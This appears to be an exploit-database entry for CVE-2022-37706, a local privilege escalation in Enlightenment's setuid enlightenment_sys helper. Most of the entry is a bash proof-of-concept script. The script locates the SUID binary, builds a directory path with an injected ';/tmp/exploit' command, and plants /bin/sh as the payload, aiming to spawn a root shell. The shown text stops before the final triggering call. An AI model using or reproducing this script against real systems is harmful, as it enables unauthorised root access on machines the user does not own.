Exploits / Vulnerability Discovered : 2023-04-01 |
Type : local |
Platform : linux
[+] Code ...
## Exploit Title: Enlightenment v0.25.3 - Privilege escalation
## Author: nu11secur1ty
## Date: 12.26.2022
## Vendor: https://www.enlightenment.org/
## Software: https://www.enlightenment.org/download
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706
## CVE ID: CVE-2022-37706
## Description:
The Enlightenment Version: 0.25.3 is vulnerable to local privilege escalation.
Enlightenment_sys in Enlightenment before 0.25.3 allows local users to
gain privileges because it is setuid root,
and the system library function mishandles pathnames that begin with a
/dev/.. substring
If the attacker has access locally to some machine on which the
machine is installed Enlightenment
he can use this vulnerability to do very dangerous stuff.
```bash
#!/usr/bin/bash
# Idea by MaherAzzouz
# Development by nu11secur1ty
echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."
# The actual problem
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
echo "[-] Couldn't find the vulnerable SUID file..."
echo "[*] Enlightenment should be installed on your system."
exit 1
fi
echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Welcome to the rabbit hole :)"